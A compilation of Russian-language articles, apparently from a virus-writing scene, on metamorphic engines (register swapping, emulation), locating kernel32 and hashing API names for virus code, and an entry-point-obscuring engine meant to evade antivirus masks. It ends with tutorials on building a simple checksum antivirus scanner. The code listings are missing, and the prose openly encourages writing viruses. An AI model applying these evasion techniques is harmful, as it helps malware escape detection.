Сейчас пойдут приветствия... Привет Vecna, наш бог! Искренне, по моему мнению, Vecna, наряду с Dark Avenger, Quantum и Neurobasher, лучший кодер всех времен. Вы, наверное, думаете, зачем все эти приветствия Vecna. Просто он написал первый Win32-вирус с техникой своппинга регистров.

Своппинг регистров также относится к категории простого метаморфизма, и позже я объясню почему. Суть этого метода состоит в замене используемых регистров во всем теле вируса. Таким образом, большинство опкодов изменится в любом случае. Есть два способа реализации своппинга регистров: использование эмулятора и использование таблиц. Win9x.RegSwap by Vecna использует последнюю технику. Если Вы хотите увидеть пример первой техники, посмотрите движки A/ZCME by ZOMBiE. Как я слышал, Lord ASD написал MPE (Monster Polymorphic Engine) для своих вирусов Win32.Apparition. В них использовался метаморфизм первого типа. В данном случае я хотел бы уделить внимание подходу, которым воспользовался Vecna (таблицы), поскольку штучки с эмуляторами будут обсуждаться в другой главе.

Давайте представим себе базовый опкод, такой как MOV reg32,imm32. В двоичной форме это будет выглядеть как B8+reg32 imm32. Уделим немного внимания к части B8+reg32:

Таким образом, мы можем легко изменить регистр в опкоде проведя операцию OR с базовым значением (B8) и нужным нам регистром. Вот как выглядели элементы таблицы, которую использовал Vecna в RegSwap (каждый элемент имеет размерность одно слово):

• 00..06 Индекс регистра

• 07..08 Позиция регистра в инструкции (xx 000 xxx или xx xxx 000)

• 09..16 Расстояние до предыдущей инструкции с участием регистра

Использование таблиц приводит к тому, что в теле вируса нужно хранить большие массивы таких структур...

[ Проблемы метода перестановки регистров ]

Это хорошая техника, но у нее есть свои недостатки:

• она слаба

• структура вируса сохраняется, так что AV сможет поймать его используя регулярные выражения (wildcards)

• таблицы фиксированы, поэтому являются хорошей сканстрокой для AV :(

В принципе, некоторые проблемы можно обойти, используя, к примеру, другую метатехнику... Мммм... впрочем, не надо... просто зашифруйте таблицы (или весь вирус) простым полиморфным движком.

Это был хороший опыт для Vecna и всех нас, ведь мы его ученики :)

Да, это круто. Это круто как для первого эксперимента с метаморфизмом, но я рассматриваю его скорее как упражнение для мозгов, чем попытку сделать вирус менее обнаруживаемым. Любой хороший полиморфный движок всегда будет лучше, чем этот тип метаморфизма, но это метатехника, значит она рулит!

Я имею смелость называть себя изобретателем этой техники, (никто не возразил, так что у меня есть право думать так), так что я дал ей имя Itxoiten. Я довольно подробно описал свой проект в первой части, но было бы неплохо написать несколько строк об этом, чтобы освежить Вашу память. Моя техника основана на принципе транслятора. Сначала мы создаем ITX-заголовок, затем передаем его специальной функции, анализирующей наш заголовок и конвертирующей его в вирус. ITX-заголовок несколько напоминает язык программирования. Давайте представим себе как IHP (ITX header processor - обработчик ITX-заголовка) транслирует инструкцию MOV reg32,imm32 с нашего языка в опкоды:

И это только начало. ITH может генерировать простой MOV самыми разными способами... Например,

или

и т. п. Таким образом, мы достигаем одинакового результата, но с абсолютно разными опкодами (большими или даже меньшими по размеру). Представьте себе степень модификации кода... WOW! ;)

Это только часть секции кода ITX-заголовка, и, конечно же, будут секция данных и таблицы импорта (посредством CRC32 API'шников). Я уже работаю над этим, но ничего не обещаю.

Как Вы уже могли догадаться, с этой техникой также есть проблемы. Первая сложность следует из самой идеи ITX-заголовка: заголовок должен быть гораздо больше размера вируса, который он может сгенерировать, а также то, что он статичнен :( Единственным возможным решением представляется внедрение небольшого полиморфного декриптора в ITX-заголовок. Черт, в дополнение к метаморфному движку делать полиморфный кажется (а так оно и есть на самом деле) не очень хорошей идеей, мммм... скорее плохой идеей. Другая проблема – смещения в сгенерированном коде. Я много размышлял над этим, но не нашел никакого простого и эффективного решения. Если у Вас есть какие-либо идеи насчет этого, я был бы рад, если бы Вы написали мне.

Да, это мощная метаморфик-техника, но связанные с ней проблемы делают ее на данный момент времени (и до тех пор, пока я не найду решение) бесполезной. Черт, очень неприятно, что мне приходится критиковать свою собственную технику, но все-таки генерировать идеи проще, чем код для их реализации. Такие выводы я сделал после попыток сделать свой проект реальностью... Но, учитывая все проблемы, на данный момент у меня нет уверенности, что я закончу его в ближайшем будущем. Кто знаем, может быть, однажды, решение придет мне в голову, и я закончу то, что начал. Ох.

Это несомненно самый надежный способ сделать метаморфный движок, хотя создание эмулятора кода представляется мне не таким уж и легким, по крайней мере в среде Win32. Мы можем с успехом использовать int 1, но только под Win9x, так как в WinNT нельзя просто так перейти в Ring-0 или сделать что-либо подобное. Хотя, нет. Ведь можно сделать эмулятор, который будет выполнять код в специальной защищенной зоне, где мы будем сохранять результаты операций, значения регистров, ячеек памяти и т. п. Это хорошее решение, но сложность заключается в том, что для этого нам нужно знать размер каждой без исключения инструкции. Мы можем это сделать, не так просто, но можем. Этот принцип используется в туннелинговых движках Wintermute, таких как Zohra и Ithaqua. И все-таки под Win32 всегда возникают новые проблемы. Самая большая и неизбежная проблема – вызов API. Мы НЕ МОЖЕМ и НЕ ДОЛЖНЫ эмулировать код внутри API. Это бесполезно и опасно. Одной из причин этого является, то что мы не знаем сколько байт в стеке нужно передать конкретному API и на данный момент нет какого-либо решения этой проблемы. Но мы все еще можем эмулировать свой собственный код и выяснять нужное количество байт из нашего кода. Да, это сложно, но это возможно, потому что мы знаем, что должен делать вирусный код.

Давайте предположим, что мы уже сделали эмулятор (самое сложное!). Теперь наш путь станет легче. Мы можем своппить регистры и даже переставлять инструкции местами в некоторых частях вируса. Также мы можем генерировать различные варианты одной и той же инструкции.

Этот метод намного более эффективен, чем все остальные. Я думаю, что нам нужно идти по этому пути, вместо того чтобы тратить время на бесполезные техники, использование которых не усложняет обнаружение вируса. Представьте себе все возможные альтернативы операции mov reg,imm. Почти бесконечность!

Итак, давайте подумаем: что будет, если каждый раз мы будем заменять простую операцию блоком, который выполняет те же действия? В результате множественных пермутаций вируса, его тело станет длиннее, и будет занимать много места на диске, а зараженные программы будут выполняться заметно дольше из-за появления целой кучи бессмысленных команд. Таким образом, перед нами встает еще одна проблема: кроме расширения кода (expanding), мы должны позаботиться и о его сжатии (shrinking), так чтобы убрать лишние опкоды и сохранить дисковое пространство. Я думаю, Вы уже поняли, что сжимать код гораздо труднее, чем расширять. Также не нужно забывать, что в одних местах нужно расширять, а в других сжимать код... ммм... закон компенсации!

Вот как с моей точки зрения должен работать движок: случайным образом расширять или сжимать.

Одной из главных проблем является создание самого эмулятора: как узнать размеры всех опкодов, обойти проблемы с защитой, эмуляция при вызовах API... Я уже описывал некоторые возможные решения этих проблем выше, но даже если мы сможем их решить, у нас появятся другие. Они обусловлены особенностями самой техники и, в основном, связаны с фактором изменения смещений и сжимающей части движка.

Проблема со смещениями имеет решение: необходимо проводить параллели между старым кодом и новым. Особое внимание необходимо уделить эквивалентности обращений к памяти и соответствующим образом корректировать инструкции.

Со сжатием все обстоит несколько сложнее. Я думаю, что возможным решением является хранение в теле вируса шаблонов всех возможных путей расширения инструкций. Таким образом, при просмотре кода, мы (и не только мы – прим. пер.) сможем видеть "базовый" код данного блока. Я надеюсь, что Вы поняли это.

[ Резюме ]

Внутренний дизассемблер – наиболее подходящая метаморфная техника, но в то же время она и самая сложная. Она требует от кодера много времени и терпения. Я настаиваю, чтобы Вы попробовали написать метаморфный вирус, используя эту ее!

Ммм... сложный вопрос. Очевидно, да. Но если Вы читали статью 'Polymorphism and Grammars' by Qozah (вышла в 29A#4 – ОЧЕНЬ советую Вам прочитать это!), то поймете, что обнаружить можно любой вирус. Мы просто пытаемся сделать жизнь AV'еров тяжелее, ведь им придется работать гораздо больше, чтобы найти наш вирус и сделать против него лекарство. В любом случае, мы тратим кучу времени на метаморфные вирусы, а AV обнаруживают их гораздо быстрее.

Итак, можно сделать вывод, что иетаморфизм – техника только для элитных вирмейкеров - тех гуру ассемблера, которые постоянно удивляют нас. Наверное единственная причина, по которой я хочу создать метаморфный вирус, это показать, что кодер, сделавший это был кем-то 'особенным', не человеком из толпы вирусописателей, которые только начали делать простые вирусы с препроцессорной резидентностью (о, черт, я причислил себя к толпе...) под Win32.

Создание метаморфный вирусов – занятие для настоящих ассемблерщиков, способных сделать с помощью своих ассемблеров практически все что угодно. Так что держитесь подальше, если Вам кажется тяжелым написать хотя бы полиморфный вирус. Это не для Вас.

Вернемся к нашему вопросу. Есть две точки зрения:

• Метаморфизм – это хорошо, если Вы хотите испытать свои умственные способности, и Вы достаточно сообразительны, чтобы понять это. AV'еры будут удивлены Вашими кодерскими навыками и сможете выделиться из толпы других кодеров.

• Метаморфизм не подходит Вам, если Вы пытаетесь сделать абсолютно невидимый вирус. Обнаружить можно любой вирус и рано или поздно это произойдет, так что лучше Вам заняться чем-нибудь другим.

Вам все понятно? Надеюсь на это.

Я надеюсь, Вы заметили, насколько серьезно я поработал, перед тем как написать эту статью. Вы ошибаетесь (если Вы знаете меня лично, то поймете почему ;), но я старался быть объективным, чтобы рассмотреть под всеми углами различные техники метаморфизма. Если Вы что-то не поняли, дайте мне знать, и я попытаюсь развеять Ваши сомнения.

Я ни в коем случае не пытался показать себя элитным кодером, с помощью этой статьи, так как знаю, что я им не являюсь. Мне пришлось пройти длинный путь, чтобы стать одним из избранных. Самое главное, всегда оставаться скромным и не заставлять людей ждать от тебя чего-то такого. В конце концов, когда Вы сделаете что-нибудь стоящее, то сможете всех удивить. Это моя философия как VX'ера, можете ей следовать если хотите.

Я закончил писать этот документ 9 сентября 1999 года (9-9-99), слушая по радио, бред о том, что 2000-ый год – это вирус, что все компьютеры заражены этим вирусом и прочую чепуху. Больше всего ненавижу, когда невежественные люди говорят о вещах, в которых совершенно не разбираются. Невежество всегда было оружием в руках тоталитаристов. Уничтожьте невежество и мир изменится к лучшему. Черт, я опять заговорил о политике! :) Не могу держать себя в руках...

Что ж, надеюсь, что эта небольшая статья помогла Вам в Ваших попытках накодить метаморфный вирус. Становитесь элитой (придется и себе написать что-нибудь для такой цели)!

• You can't smell your own shit under your knees - (Marilyn Manson)

На эту "избитую" тему написано уже много статей, но представлю на ваше обозрение еще одну.

Кстати, в этой статье вы не найдете подробного описания полей PE заголовка и технологии поиска API, предполагается, что в этом вы уже разбираетесь. Так же не буду останавливаться на очевидных моментах, это уже тысячу раз перетиралось.

Итак, особенности этой статьи заключаются в следующем:

1. Код, рассмотренный в данной статье, будет работать на платформах win95-XP, за счет получения Image Base кернела не со стека, а через анализ SEH.

2. Для поиска имени API-функции, код использует хеш от имени этой ф-ии. Это не бросается в глаза при рассмотрении зараженного файла в HEX Editor'е, в случае незашифрованного вируса, а так же сокращает размер кода.

3. В коде нет переменных, адреса API-функций и другие нужные нам значения помещаются в стек, что бывает полезным в том случае, когда ваш вирус не должен производить запись в переменные до извлечения адресов API.

Итак поехали... (сначала код, потом комментарии)

Теперь в стеке находится дельта смещение кода, можно в этом примере не использовать, но мне так захотелось.

По адресу fs:0, находится seh, цепочка адресов на обработчики исключений. Формат одной записи таков:

Последний указатель на следующую запись имеет маркировку 0FFFFFFFFh, а адрес последнего обработчика находится где-то в kernel. В общем, глядите в отладчик, мы нашли адрес последнего обработчика, а значит и адрес внутри kernel. Дальше выравним полученный адрес на 64 Кбайта, т.к. kernel грузится по адресу кратному этому значению. Теперь нам осталось найти Image Base пресловутого и небезызвестного кернела. Делается это путем поиска сигнатуры MZ и проверки на PE формат...

Так, теперь сравним слово по полученному адресу с 'MZ', если не совпало, то отнимем 64Кбайта, и повторим, если совпало, то проверим это заголовок PE или нет. Если да, то можно утверждать, что Image Base Kernel найден, если нет, то выйдем. Существует ли вероятность не найти Kernel? При использовании seh, навряд ли, по крайней мере, я этого не наблюдал при тестировании. В случае, когда адрес внутри Kernel берется со стека, заводится счетчик, чтоб не вылезти черт знает куда, но это описано в др. статьях. Для перестраховки можно завести свой обработчик исключений.

Здесь я не буду заострять особого внимания, почему, читайте выше. (см. документацию по PE формату).

В результате выполнения первых двух строк, в esi мы получили смещение таблицы экспорта кернела. Далее мы получаем другие необходимые нам значения для поиска адресов API из таблицы экспорта и помещаем их в стек.

В edi у нас смещение таблицы хешей искомых функций.

Т.к. дальше мы будем помещать в стек адреса найденных API ф-ий, то сохраним указатель стека в ebp, через ebp потом и будем обращаться к найденным адресам. Несколько слов, что такое index, первоначально он равен Name Pointers и указывает на таблицу адресов имен экспорта, каждый элемент таблицы равен двойному слову, и указывает на начало ASCII строки с именем API функции, если к Index прибавить 4, то он будет указывать на следующий адрес в таблице адресов имен... Конечно много непонятного, но поглядите в отладчик и половина вопросов отпадет.

В ecx кол-во экспортируемых функций используем как счетчик, чтоб не найти какую-нибудь муть.

Обнулим edx, там потом будет порядковый номер найденной функции, начиная с нуля. Это понадобится для нахождения адреса. В esi адрес ACSII имени API функции, первоначально указывает на первую.

Далее считаем хеш от имени функции, чтобы потом сравнить с хешем от требуемой функции, помните, что на имя у нас указывает esi. На выходе в eax будет хеш.

Никаких проблем, сравниваем, если равно, то имя функции найдено, и идем высчитывать ее адрес. Если нет, то прибавляем к Index четыре (чтобы указывал на следующий адрес имени в таблице экспорта) и ищем дальше, если требуемой функции вообще не нашли (неправильно написали имя или неверный хеш), то благоразумнее будет выйти или передать управление жертве, в зависимости от ситуации.

Здесь мы окажемся в том случае, если мы нашли имя искомой функции, а следовательно и ее порядковый номер в edx. Код похож на себе подобный из других статей, потому отсылаю вас туда (см.ссылки внизу), не люблю писать одно и тоже и повторяться. Один момент, здесь работа происходит не с переменными, а в стеке, потому глядите в отладчик, в конце концов.

Адрес найден!!! Что и требовалось доказать, помещаем его в стек, смотрим последняя ли это требуемая функция из таблицы хешей, если нет, то устанавливаем edi на следующий хеш. Возвращаем Index в первозданное состояние, т.е. что бы он указывал на адрес имени первой функции в таблице экспорта кернела, и повторяемся...

Полностью рабочий пример можно найти здесь (находится в архиве wasm_files.zip: files/0280/GetAPIW32.zip).

Пример тестировался на различных платформах Win95-XP, за что отдельное спасибо Ingrem'у.

Т.к. я не обладаю творческими изысками, в тексте могут содержаться неточности, о коих прошу сообщать на sars@ukrtop.com Исправлю...

Если кому-нибудь поможет данная статья, не сочтите за труд черкануть пару строк автору, тогда возможно продолжу эту тему. Все вопросы по коду туда же, кроме таких как: "Что такое стек?" и т.д.

Рекомендую отладчики SoftIce и OllyDebugger.

Если данное пособие найдет читателей, то в следующих статьях планирую рассмотреть, как заразить файл, внедряясь в свободное место в заголовке, а так же другие способы заражения.

www.wasm.ru – есть неплохая обучалка по Win32 VX от Billy Belcebu

www.zombie.host.sk – имеется хороший FAQ для начинающих вирмейкеров и еще много чего

В данной статье мы рассмотрим моделирование простого EPO мотора. На данную тему уже было написано несколько статей, но они в большей степени теоритические. В этом тексте будет рассмотрено, как теоритическое моделирование так и пример применения этой теории. В качестве примера будет разобран мой ЕPO мотор - SPOT.

Начнём мы прежде всего с определения EPO - Entry Point Obscuring. В переводе это означает - скрытие точки входа. В основном данное понятие применяется к компьютерным вирусам, которые не меняют в заголовке исполнимого файла точку входа. Точка входа это адрес с которого начинается выполнение программы при её запуске. Впервые данная техника была применена ещё в ДОС вирусах. В аспекте Windows систем данная техника была применена впервые в вирусе Cabanas. В чём же заключалась данная техника давайте рассмотрим на схеме.

До вируса Cabanas в Windows системах такая техника не применялась. Обычно вирус изменял в заголовке точку входа редактировал виртуальный размер и дописывал своё тело в конец файла (обычно вирус создавал новую секцию). Потому как все вирусы меняли точку входа, то антивирусные программы просто проверяли куда указывает точка входа и потом уже легко или сложно детектировали вирус.

В вирусе Cabanas первые 5 байт кодовой секции вначале сохраняются в теле вируса, а потом перезаписываются jmp'ом на начало вируса. Таким образом не нужно менять точку входа, потому что вирус получит управление после первой инструкции перехода.

После этого пошла волна вариаций на ту же тему. Инструкции передающие управление вирусу усложнялись, видоизменялись. Иногда туда встраивали даже декрипторы, которые расшифровывали закриптованное вирусное тело и передавали на него управление. Но антивирусные программы то же стали проверять куда передают управление первые инструкции кодовой секции. Так же постоянно обновляются маски этих инструкций передающих управление на вирусное тело.

Для того чтобы усложнить анализ и детектирование данных инструкций мной был разработан мотор (модуль), который легко применять. Начнём мы посторение нашего мотора с того, что определимся чего нам необходимо достичь:

1) Чтобы наши инструкции не обнаруживались по маске (мутация)

2) Чтобы наши инструкции не сразу передавали управление вирусу или защите

от взлома программы (маскировка)

3) Чтобы управление в конце концов получил наш код

Теперь попытаемся определится, как наш мотор должен работать:

1) В начало кода встраивается первая партия инструкций, но каждый раз она будет разная. Это будет реализовано за счёт разбавление одной значащей инструкции сложным разнообразным мусором.

2) Первое пятно будет передавать управление второму и так далее, пока последнее пятно не передаст управление инжектированному коду.

Рассмотрим на примере устройство i-ого пятна:

Каждое из пятен сильно мутирующее, то есть по маске его детектировать не возможно. Количество пятен случайно и расстояние между пятнами то же случайно.

Все байты которые перетираются пятнами, сохраняются в теле вируса.

Для работы мотора необходимы следующие модули:

1) Генератор случайных чисел (r_gen32.asm)

2) Генератор исполнимого мусора (t_gen32.asm)

Разберём пример генератора случайных чисел:

Ничего сложного в этом модуле, как вы можете видеть нет.

Теперь перейдём к разаработке генератора мусора. Потому как без него с таким

декриптором очень сложно достигнуть настоящего полиморфизма.

Исполнимый код должен быть как можно более разнообразным. В идеале получившийся декриптор с мусором должен походить на обыкновенную программу с условными переходами и множеством функций.

Рассмотрим генератора мусора на примере:

Теперь мы готовы перейти к листингу нашего мотора:

В качестве параметра данному мотору передаётся адрес файла в памяти (MapViewOfFile). Для восстановления оригинальных байт используется подпрограмма restore. Данная подпрограмма в качестве результата возвращает адрес начала программы в регистре ebx.

Рассмотрим примерную схему работы мотора:

Для чего может использоваться данный модуль? Данный модуль можно с большой эффективностью использовать при моделировании навесных защит исполнимого кода, помимо его прямого назаначения.

1. Введение

В этой статье речь пойдет о разработке примитивного антивирусного программного обеспечения, точнее сказать антивирусного сканера.

Сканнерами называют программы, которые проверяют файлы на предмет зараженности их известными программе вирусами.

Прочитав эту статью, я не гарантирую, того, что вы в тот же момент станете умнейшим вирусным аналитиком, эта область программирования достаточно необычна и тяжела для понимания. Сталкиваясь с ней (областью) «вплотную» в первый раз очень тяжело сразу «взять быка за рога». Но в этой статье я попытаюсь изложить основы, так что вполне возможно, то, что будет описано ниже вы, уже знали.

Прежде чем читать статью, необходимо удостовериться, что ваш уровень знаний ассемблера не ограничивается умением писать красивые интерфейсы и менюшки, в антивирусных программах это не главное. Конечно без удобного (дружелюбного) интерфейса ваша разработка не будет востребована. Но все же, необходимо иметь некоторые понятия о:

• Контрольные суммы участков данных, что это такое и примерный алгоритм расчета

• Вирусы и троянские кони в _бинарных файлах_ (исполняемых файлах), а так же написанные на скриптовых языках (VBS, JavaScript)

• Методы работы с файлами (поиск, запись, чтение и тд)

2. Простейшие вирусы

Вирус – программа очень маленьких размеров, основной задачей которой является распространение по компьютерам пользователей, за счет различных хитрых алгоритмов и ошибок пользователей.

Вирусы это очень сложные программы, их можно разделить на множество видов, но мы ограничимся всего двумя. Разделим вирусы на простейшие и файловые вирусы. Файловые вирусы это те, которые умеют заражать файлы различных форматов (загрузочные – PE, документы, файлы помощи и еще множество других), обычно эти вирусы написаны на языке ассемблера, и для их обнаружения необходимо очень хорошо знать структуру файлов, которые они поражают. Под понятием простейших вирусов я подразумеваю различных червей и сюда же можно приписать троянских коней.

Файловый вирус – вирус, который распространяется через зараженные файлы различных форматов, обычно исполняемых. Т.е. кто-то кому-то передал программу, один из исполняемых файлов которой был заражен вирусом.

Червь – вирус, который распространяется самостоятельно (не поражая какие либо файлы), обычно через глобальные сети, путем рассылки себя в письмах; авторами червей часто являются хакеры и для своего распространения черви используют различные дырки в операционных системах.

Троянские кони – программы, у которых отсутствуют функции самостоятельного распространения (т.е. они распространяются различными людьми специально), но обязательно присутствуют различные деструктивные функции.

Деструкция – алгоритм, причиняющий вред компьютеру и пользователи, иногда не только моральный, но и материальный. Деструктивные алгоритмы часто используются в вирусах и всегда используются в троянских конях.

Деструкция в троянских конях – это алгоритмы, которые могут совершать различные пакости, начиная от форматирования жесткого диска или перезаписи flashbios и заканчивая воровством «важных» файлов (паролей для доступа в интернет) с компьютера пользователя.

3. Методы детектирования

Главное, что черви и троянские кони не умеют заражать другие файлы, по этому всегда распространяются в одном и том же виде. Т.е. в виде не изменяющегося файла. Допустим, у нас имеется файл с вирусом-червем, который занимает 10 килобайт. Червь распространяется в виде исполняемого файла PortableExecutable. Нам необходимо написать программу антивирус против этого червя.

• Программа будет искать PE-файлы в указанном каталоге

• Каждый найденный файл размером 10 килобайт и больше будет открываться

• Первые 10кб будут считываться, и сверяться с теми, которые были взяты из «тела» вируса

• Если содержимое будет совпадать, то значит перед нами червь и нужно его вылечить

Мы составили примитивный алгоритм детектирования вируса червя. Теперь допустим, таким способом ваша программа опознает, и лечит 100 вирусов. В качестве сигнатуры (данных, по которым определяется зараженность объекта тем или иным вирусом) используется полный вирусный код, допустим для каждого вируса по 10 кб. В результате вирусная база (база данных программы содержащая алгоритмы по детектированию и лечению вирусов) программы будет занимать 1 мегабайт, а это очень много. Крупнейшие антивирусные программы детектируют несколько десятков тысяч самых разнообразных вирусов, и их вирусные базы занимают всего несколько мегабайт.

Детектирование (обнаружение) вирусов, не изменяющих своей структуры, является примитивнейшим занятием. И так сигнатура для детектирования вирусов может занимать всего 3 двойных слова, т.е. 12 байт и быть очень надежной, если использовать контрольные суммы …

4. Контрольные суммы и технология их расчета

* * *

Контрольная сумма это 32 битное число (очень редко 16 битное), которое характеризует определенный участок кода. Есть множество способов подсчета контрольной суммы, для лучшего восприятия этого термина рассмотрим пример примитивнейшего подсчета:

Например, у нас есть участок кода, состоящий из 5 байт (десятичная система): 001 004 000 005 100

По нашему примитивному подсчету, контрольная сумма его будет равняться 1+4+0+5+100=110. Т.е. прочитав контрольную сумму другого участка, мы получим другое значение. Однако, используя столь примитивный алгоритм расчета, контрольные суммы совершенно отличающихся участков могут совпадать, для этого используются более продвинутые процедуры подсчета.

Комментарии к алгоритму расчета контрольной суммы (crc) отсутствуют потому, что достаточно понимать смысл подсчета crc, стандарта подсчета не существует, а описывать операции, производимые в этой процедуре достаточно тяжело и бессмысленно. Со временем будет появляться опыт в подобных вещах и если будет необходимо, то вы и сами разберетесь в коде.

5. Использование контрольных сумм для детектирования вирусов

Если необходимо подсчитать контрольную сумму участка в несколько килобайт, то это конечно не мгновенная процедура. Если считать контрольную сумму каждого найденного файла то процесс проверки не будет проходить так быстро как хотелось бы.

Возьмем в качестве примера вирус BAT. Sys.602 , распространяющийся в виде файла BAT, написанного на примитивном языке Batch, входящим в комплект операционной системы DOS. Внешне вирус-червь представляет собой обычный текст.

Для опознавания наличия этого вируса в BAT-файлах совсем не обязательно считать контрольную сумму всего вирусного кода, достаточно взять участок кода, состоящий из нескольких строк. Так же просто необходимо запомнить их расположение в вирусном файле и длину этих строк (всех вместе). Допустим, нам приглянулись строки 4 и 5.

Как мы видим, строка 4 начинается в файле со смещения 75 (4Bhex) и заканчивается 150 (96 hex). Т.е. размер двух строк составляет 75 байт.

Но брать в качестве сигнатуры определенные строки не совсем обязательно, можно взять любой кусок кода, размер желательно до 100 байт, что бы время на расчет контрольной суммы затрачивалось минимальное.

Вашему вниманию предлагается пример программы, которая считает контрольную сумму участка кода выбранного выше (смещение 75, длина 75 байт) в файле ‘sys.bat’ …

6. Алгоритм поиска файлов

Как вы уже, наверное, знаете для поиска файлов? используются API: FindFirstFile, FindNextFile, FindClose.

Параметрами FindFirstFile является маска для поиска и «место» под структуру для поиска (объявленную структуру официального типа или буфер, размер которого не меньше размера официальной структуры). Маской для поиска является обычная строка, содержащая путь к каталогу, в котором будет производиться поиск, а так же маску поиска (обычно используется “ . ”).

Вид официальной структуры для поиска :

Можно объявлять эту структуру, а можно использовать эквивалент “findbuf db 314 dup (?)”. Немного разбираясь в программировании можно догадаться, что имя найденного файла будет находиться по смещению 44 от начала findbuf.Используем “movesi,offset findbuf + 44 ” и регистр esi указывает на имя найденного файла или каталога.

После выполнения API FindFirstFile , регистр eax будет содержать идентификатор поиска или в случае ошибки –1.

Вызов FindFirstFile используется только один раз, далее в дело вступает FindNextFile. Параметрами этой апи являются идентификатор поиска (который мы получили от вызова FindFirstFile и должны были сохранить) и та же структура для поиска(которая так же использовалась при первом поиске). Поиск ведется до тех пор, пока регистр eax не будет равняться нулю.

Эти API ищут файлы или каталоги по маске поиска , т.е. нельзя искать только файлы или только каталоги. Когда используется маска ‘. ’ то будут найдены все каталоги и файлы, содержащиеся в указанном перед маской каталоге.

Все конечно хорошо, но необходимо что бы наша антивирусная программа могла проверять файлы не только в указанном каталоге, но и в тех, что расположены ниже. Для этого мы должны писать рекурсивную процедуру, т.е. такую, которая умеет вызывать сама себя.

Прежде всего, необходимо объявить переменную для поиска в каталогах содержащих множество других подкаталогов. Думаю, что пользователей, у которых количество подкаталогов в каталоге превышает 50 единицы, по этому ограничимся этим числом. И так, для процесса поиска в каждом каталоге должны быть индивидуальными (не использоваться в других процессах) маска поиска (максимум 260 символов), идентификатор поиска (двойное слово, 4 байта), структура для поиска(318 байт) и флаг(размером 1 байт, а для чего нужен этот флаг, я объясню позже). В результате мы должны объявить переменную а/ля ”buf db ( ( 1 + 260 + 4 + 318) * 50 )”. Ячейка для каждого процесса поиска будет занимать 1+260+4+318 = 583 байта и одновременно может вестись 50 процессов (не более). Конечно, можно использовать память из стека, но это будет тяжелее объяснить.

Структура размещения данных в ячейке может быть такой, какая удобна вам.

Я предлагаю структуру такого типа:

Теперь поговорим о алгоритме поиска. Сначала необходимо обработать все файлы текущего каталога, а затем уже подкаталоги. Но API сначала находят подкаталоги, а потом уже файлы. Вот для этого и необходим флаг.

При первом поиске флаг настраивается только на поиск файлов, те если значение флага не совпадает с необходимым, то найденные каталоги просто пропускаются. По окончанию поиска флаг перенастраивается на поиск только каталогов, и теперь уже пропускаются файлы.

Давайте рассмотрим пример программы обходящей дерево каталогов в поиске всех файлов…

7. Основы построения вирусной базы

Данные необходимые для поиска и лечения вирусов обычно хранятся в вирусной базе. Ее формат может быть любым, стандартов не существует. Мы рассмотрим пример вирусной базы для детектирования скрипт вирусов, которая будет содержаться в исходном коде программы, а не в отдельном файле.

Вот мы имеем простейшую вирусную базу для трех вирусов. Размер одной вирусной записи(данных об одном вирусе, необходимых для его детектирования и лечения) в данном случае составляет 20 + 4 = 24 байта.

Если же вирусная база хранится в отдельном файле, то при старте антивирусный сканер должен загрузить ее в память, для того, чтобы к данным, хранящимся в ней, было быстрее и проще «обращаться» в необходимости. Для этого пишутся специальные процедуры разбора, ну и конечно же вирусные записи содержат гораздо больше данных, например таких как тип вируса, адреса процедур для детектирования и лечения … Но обо всем этом в следующий раз, в следующих статьях.

8. Основы работы с вирусной базой

В нашем случае, необходимо писать процедуру для работы с найденными файлами, т.е. читать данные из файла по смещению 75 и размером 75 байт, считать контрольную сумму и сравнивать по очереди с указанной во всех доступных (в нашем случае 2) вирусных записях в вирусной базе. Если совпадает, выводит информацию о том, что найденный файл заражен определенным вирусом.

Допустим, программа нашла файл, прочитала из него 75 байт по смещению 75 и подсчитала контрольную сумму этого участка. Контрольная сумма содержится в переменной “crc32_buf”. Вот как должен выглядеть процесс проверки на зараженность известными программе вирусами:

9. Заметки по лечению вирусов

В данном случае найденные файлы с вирусами можно просто удалять, но это самые простейшие вирусы. Обычно каждый вирус изменяет что-то в файлах настройках операционной системы, пытается спрятаться от чужих глаз. Даже для вирусов, файлы носители которых (дропперы) можно просто удалять это (скорее всего) не будет являться сто процентным лечением. Необходим анализ алгоритма работы вируса, вполне возможно он уже (например) успел прописать свой вызов в WIN.INI из «потайного места». Так как эти типы вирусов не заражают файлов, то от них мог бы избавиться любой начинающий пользователь. Авторы таких вирусов знают это и для этого предпринимают разнообразные хитрые методы для того, что бы вирус мог выжить после «чистки», вернуться «к жизни» второй раз.

10. Заключение

Соответственно если Вы заинтересовались этой областью программирования, придется разбираться и изучать (хотя бы основы) множество скрипт языков программирования. Я не говорю про основы строения исполняемых файлов написанных не на ассемблере, а на языках высокого уровня. Как раз на них и пишется большинство троянских коней. Необходимо будет разбираться с различными упаковщиками и шифровщиками исполняемых файлов, строением архивов …

Все примеры программ, которые были представлены Вашему вниманию в статье, доступны в ZIP-архиве (находится в архиве wasm_files.zip: files/recovered/298/av_file.zip), но в немного измененном виде. Добавлен вывод «рабочей информации» через консоль и почти полностью отсутствуют комментарии к программе, но в статье комментариев изобилие.

Готовое подобие антивирусного сканера так же доступно, а так же прилагаются КУСКИ вирусных дропперов , которые вставлены в базу антивируса (которую мы рассматривали выше). Полный вирусный код я не представляю, так как в этом нет необходимости.

Если статья действительно кому-нибудь поможет, то я буду писать на эту тему еще … например про основы детектирования и лечения файловых вирусов, технологии анализа программного кода(кодо-анализаторов) и эмуляции программного кода(для детектирования полиморфных и шифрованных вирусов) …

1. Введение

2. Экскурс в историю

3. Способы эмуляции

4. Пример использования технологии

4.1. Лирическое отступление

4.2. Имитация исполнения инструкций

4.2.1. Запуск инструкции в специальной среде

4.2.2. Полная имитация исполнения инструкции

4.2.3. Комбинация двух способов

4.3. Поворот не туда

4.3.1. Дизассемблер

4.3.2. Эмулятор

4.4. "Предел терпения" (Enough)

5. Пример использования технологии для детектирования вирусов

5.1. Кодо-анализатор

6. Заключение

1. Введение

Эта статья не является продолжением пособия по написанию антивирусных программ, это всего лишь теоретическое описание технологии используемой в «хороших» антивирусных программах. Причем технологии далеко не примитивной, а очень и очень сложной для понимания и реализации …

Это описание не является отличным или хорошим это всего лишь базис (основы) технологии, как я понимаю это, вполне возможно я понимаю ее неправильно, этого я не отрицаю.

В этой статье не будет информации о нахождении точки входа в запускаемых файлах, информации о различных терминах (полиморфик , сигнатура …), детектировании и лечении вирусов … если вы читаете эту статью, значит, все это вы уже должны знать.

Тем, кому не интересны мои размышления о возможной истории появления технологии, могут пропустить «Экскурс в историю» и перейти непосредственно к описанию алгоритма технологии.

2. Экскурс в историю

